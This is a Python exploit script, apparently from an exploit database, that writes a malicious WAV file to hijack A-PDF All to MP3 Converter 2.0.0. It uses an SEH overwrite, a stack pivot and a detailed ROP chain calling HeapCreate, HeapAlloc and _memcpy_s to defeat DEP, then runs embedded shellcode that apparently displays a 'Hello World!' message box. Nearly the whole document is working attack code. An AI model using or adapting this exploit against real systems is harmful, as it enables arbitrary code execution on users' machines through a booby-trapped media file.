#!/usr/bin/python
# Exploit Title: A-PDF All to MP3 Converter 2.0.0 - DEP Bypass with HeapCreate + HeapAlloc + some_memory_copy_function ROP chain
# Date: 16 November 2023
# Exploit Author: George Washington
# Vendor Homepage: http://www.a-pdf.com/all-to-mp3/download.htm
# Software Link: http://www.a-pdf.com/all-to-mp3/download.htm
# Version: 2.0.0
# Tested on: Windows 7 Ultimate 6.1.7601 SP1 Build 7601 x64
# Based on: https://www.exploit-db.com/exploits/17275
# Remarks: There are some changes to the ROP gadgets obtained from Alltomp3.exe
# Video: https://youtu.be/_JEgdKjbtpI

import socket, struct

file = "1.wav"
size = 8000

############ Parameters for HeapCreate() ############
EXE = b"ZZZZ"                          # HeapCreate()
EXE += b"AAAA"                         # RET
EXE += struct.pack("<I", 0x00040000)   # Parameter 1 0x00040000
EXE += struct.pack("<I", 0x00000000)   # Parameter 2 0x00000000
EXE += struct.pack("<I", 0x00000000)   # Parameter 3 0x00000000
EXE += b"YYYY"                         # HeapAlloc()
EXE += b"BBBB"                         # RET
EXE += b"CCCC"                         # Parameter 1 hHandle
EXE += struct.pack("<I", 0x00000008)   # Parameter 2 0x00000008
EXE += struct.pack("<I", 0x00000500)   # Parameter 3 0x00000500
EXE += struct.pack("<I", 0x1002dd98)   # _memcpy_s()
EXE += b"DDDD"                         # heap pointer
EXE += b"EEEE"                         # heap pointer
EXE += struct.pack("<I", 0x00000500)   # size
EXE += b"GGGG"                         # shellcode pointer
EXE += struct.pack("<I", 0x00000500)   # size

junk = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1

#######################      STACK PIVOT      ###########################
SEH = struct.pack("<I", 0x005CE870) # 0x005CE870  add esp 0x800, 4 pops, ret [alltomp3.exe]

#######################    1. Get Stack Pointer to point to ZZZZ    ###########################
ROP = struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xffffff1c)
ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*4
ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ;  (1 found)
ROP += b"A" * 4
# ecx points to ZZZZ

#######################    2. Get and set ZZZZ to HeapCreate        ###########################
ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret  ;  (1 found) [Module : lame_enc.dll]
ROP += b"A" * 0x10
ROP += struct.pack("<I", 0x1003D058) # HEAPCREATE IAT
ROP += struct.pack("<I", 0x10033344) # 0x10033344: mov eax, dword [eax] ; pop esi ; ret  ;  (1 found) [Module : lame_enc.dll]
ROP += struct.pack("<I", 0x41414141)
# eax has HeapCreate
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret  ;  (1 found) [Module : lame_enc.dll]

#######################    3. Set RET                               ###########################
ROP += struct.pack("<I", 0x1003c452)  # 0x1003c452: pop eax ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x1001939e)  # 0x1001939e: add esp, 0x000001A0 ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x1003303A)  # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 

#######################    4. Go to HeapCreate                      ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xfffffea4)
ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*4
ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x1002a3b5)*10 # 0x1002a3b5: ret  ;  (1 found) // pad it
# when heap create finishes, eax will have hHeap
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)

#######################    5. Get Stack Pointer to point to YYYY    ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x10004f62) # 0x10004f62: pop ebx ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xfffffe58)
ROP += struct.pack("<I", 0x10007d44) # 0x10007d44: add eax, ebx ; pop ebx ; add esp, 0x08 ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*3
ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ;  (1 found)
ROP += b"A" * 4
# ecx points to YYYY

#######################    6. Get and set YYYY to HeapAlloc        ###########################
ROP += struct.pack("<I", 0x1003c452) # 0x1003c452: pop eax ; ret  ;  (1 found) [Module : lame_enc.dll]
ROP += b"A" * 0x10
ROP += struct.pack("<I", 0x1003D014) # HEAPALLOC IAT
ROP += struct.pack("<I", 0x10033344) # 0x10033344: mov eax, dword [eax] ; pop esi ; ret  ;  (1 found) [Module : lame_enc.dll]
ROP += struct.pack("<I", 0x41414141)
# eax has HeapCreate
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret  ;  (1 found) [Module : lame_enc.dll]

#######################    7. Set RET                               ###########################
ROP += struct.pack("<I", 0x1003c452)  # 0x1003c452: pop eax ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x10014d32)  # 0x10014d32: add esp, 0x00000280 ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x1003303A)  # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret  ;  (1 found) [Module : lame_enc.dll]

#######################    8. Set hHEAP                             ###########################
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found) <- should return here and start executing here
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 

#######################    9. Go to HeapAlloc                      ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xfffffdcc)
ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*4
ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret  ;  (1 found)
# when heap create finishes, eax will have hHeap
ROP += struct.pack("<I", 0x1002a3b5)*20 # 0x1002a3b5: ret  ;  (1 found) // pad it
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)

#######################    10. Get Stack Pointer to point to DDDD   ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x10004f62) # 0x10004f62: pop ebx ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xfffffd5c)
ROP += struct.pack("<I", 0x10007d44) # 0x10007d44: add eax, ebx ; pop ebx ; add esp, 0x08 ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*3
ROP += struct.pack("<I", 0x100322fd) # 0x100322fd: mov ecx, eax ; mov eax, esi ; pop esi ; retn 0x0010 ;  (1 found)
ROP += b"A" * 4
# ecx points to DDDD

#######################    12. Set RET                              ###########################
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)
ROP += b"A"*0x10
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x100345ee)*4 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret  ;  (1 found) [Module : lame_enc.dll]

#######################    13. DESTIN                                ###########################
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x100345ee)*8 # 0x100345ee: add eax, 0x04B60F10 ; inc ecx ; and eax, 0x04 ; ret  ;  (1 found) [Module : lame_enc.dll]* 

#######################    14. SOURCE                                ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x000000a0)
ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*4
ROP += struct.pack("<I", 0x1003303A) # 0x1003303A  # MOV DWORD PTR DS:[ECX],EAX # RETN 	[Module : lame_enc.dll]  ** 
ROP += struct.pack("<I", 0x10020004) # 0x10020004: xchg eax, ebp ; ret  ;  (1 found)

#######################    15. GOTO _memcpy_s                        ###########################
ROP += struct.pack("<I", 0x0042C7CB)  # 0x0042C7CB      # PUSH ESP # POP EDI # POP ESI # POP EBX # RETN [Module : Alltomp3.exe]  ** Null byte **
ROP += b"A" * 8 
ROP += struct.pack("<I", 0x1003176D) # 0x1003176D          # MOV EAX,EDI # POP ESI # RETN [Module : lame_enc.dll]  ** 
ROP += b"A" * 4
ROP += struct.pack("<I", 0x1002fc2a) # 0x1002fc2a: pop edi ; ret  ;  (1 found)
ROP += struct.pack("<I", 0xfffffc94)
ROP += struct.pack("<I", 0x10035015) # 0x10035015: add eax, edi ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret  ;  (1 found)
ROP += struct.pack("<I", 0x41414141)*4
ROP += struct.pack("<I", 0x005f5548) # 0x005f5548: xchg eax, esp ; ret  ;  (1 found)

#######################  SHELLCODE  ###########################
shellcode = b"\xcc" * 400
real_shellcode = b"\x33\xc9\x64\x8b\x49\x30\x8b\x49\x0c\x8b"
real_shellcode += b"\x49\x1c\x8b\x59\x08\x8b\x41\x20\x8b\x09"
real_shellcode += b"\x80\x78\x0c\x33\x75\xf2\x8b\xeb\x03\x6d"
real_shellcode += b"\x3c\x8b\x6d\x78\x03\xeb\x8b\x45\x20\x03"
real_shellcode += b"\xc3\x33\xd2\x8b\x34\x90\x03\xf3\x42\x81"
real_shellcode += b"\x3e\x47\x65\x74\x50\x75\xf2\x81\x7e\x04"
real_shellcode += b"\x72\x6f\x63\x41\x75\xe9\x8b\x75\x24\x03"
real_shellcode += b"\xf3\x66\x8b\x14\x56\x8b\x75\x1c\x03\xf3"
real_shellcode += b"\x8b\x74\x96\xfc\x03\xf3\x33\xff\x57\x68"
real_shellcode += b"\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68"
real_shellcode += b"\x4c\x6f\x61\x64\x54\x53\xff\xd6\x33\xc9"
real_shellcode += b"\x57\x66\xb9\x33\x32\x51\x68\x75\x73\x65"
real_shellcode += b"\x72\x54\xff\xd0\x57\x68\x6f\x78\x41\x01"
real_shellcode += b"\xfe\x4c\x24\x03\x68\x61\x67\x65\x42\x68"
real_shellcode += b"\x4d\x65\x73\x73\x54\x50\xff\xd6\x57\x68"
real_shellcode += b"\x72\x6c\x64\x21\x68\x6f\x20\x57\x6f\x68"
real_shellcode += b"\x48\x65\x6c\x6c\x8b\xcc\x57\x57\x51\x57"
real_shellcode += b"\xff\xd0\x57\x68\x65\x73\x73\x01\xfe\x4c"
real_shellcode += b"\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78"
real_shellcode += b"\x69\x74\x54\x53\xff\xd6\x57\xff\xd0"

#######################  CONSTRUCT  ###########################
SIZE = 500
start_of_padding = b"A" * (SIZE-len(EXE)-len(shellcode))
start_of_padding += shellcode
start_of_padding += EXE

SIZE = 1500
RET_NOP_TO_ROP = b"A" * 0x70 + struct.pack("I", 0x1003c6aa) * 10 # RET
#INT = struct.pack("I", 0x1000f2b3) + b"BBBB" # 0x1000f2b3: int3  ; pop esi ; ret  ;  (1 found)
INT = struct.pack("I", 0x1003c6aa)*2

rest_of_payload = RET_NOP_TO_ROP + INT + ROP # 160 + 14*4 + 172
rest_of_payload += b"\x90" * 100
rest_of_payload += real_shellcode
rest_of_payload += b"\x90" * (SIZE-len(rest_of_payload))

payload = junk + SEH + start_of_padding + rest_of_payload

REST = b"\x44" * (size-len(payload))
payload += REST

file = open("1.wav", "wb")
file.write(payload)
file.close()